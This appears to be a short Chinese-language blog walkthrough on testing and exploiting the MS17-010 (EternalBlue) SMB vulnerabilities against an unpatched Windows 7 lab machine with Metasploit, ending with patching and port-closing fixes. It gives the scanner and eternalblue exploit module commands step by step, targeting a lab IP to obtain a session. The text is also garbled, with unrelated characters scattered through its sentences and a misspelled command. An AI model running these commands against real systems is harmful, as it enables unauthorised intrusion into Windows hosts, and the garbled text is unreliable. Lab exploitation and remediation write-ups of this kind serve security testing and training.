簡(jiǎn)介
MS17-010（永恒之藍(lán)）應(yīng)用的不僅僅是一個(gè)漏洞岁忘，而是包含Windows SMB? 遠(yuǎn)程代碼執(zhí)行漏洞CVE-2017-0143区匠、CVE-2017-0144、CVE-2017-0145麻汰、CVE-2017-0146戚篙、CVE-2017-0147岔擂、CVE-2017-0148在內(nèi)的6個(gè)SMB漏洞的攻擊。
當(dāng)我們?cè)谟胣amp掃除目標(biāo)主機(jī)開(kāi)放端口有445時(shí)乱灵，二話不說(shuō)就是上MS17-010。
測(cè)試漏洞
靶機(jī)：未打過(guò)補(bǔ)丁的win7
打開(kāi)metasploit
第一步：search smb_ms17_010
第二步：use auxiliary/scanner/smb/smb_ms17_010?
第三步：set RHOSTS 10.10.10.26，然后輸入show options查看配置是否完成状原。
第四步：執(zhí)行exploit颠区，看到有攻擊的可能性。
然后直接上：
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.26
explot
最后，假如目標(biāo)存在MS17-010漏洞，我們可以獲取到session：
修復(fù)方案
1蛹稍、為計(jì)算機(jī)安裝最新的安全補(bǔ)丁唆姐，微軟已發(fā)布補(bǔ)丁MS17-010修復(fù)了“永恒之藍(lán)”攻擊的系統(tǒng)漏洞廓八，網(wǎng)址為https://technet.microsoft.com/zh-cn/library/security/MS17-010剧蹂。
2宠叼、關(guān)閉445、135冒冬、137窄驹、138、139端口抗斤，關(guān)閉網(wǎng)絡(luò)共享丈咐。
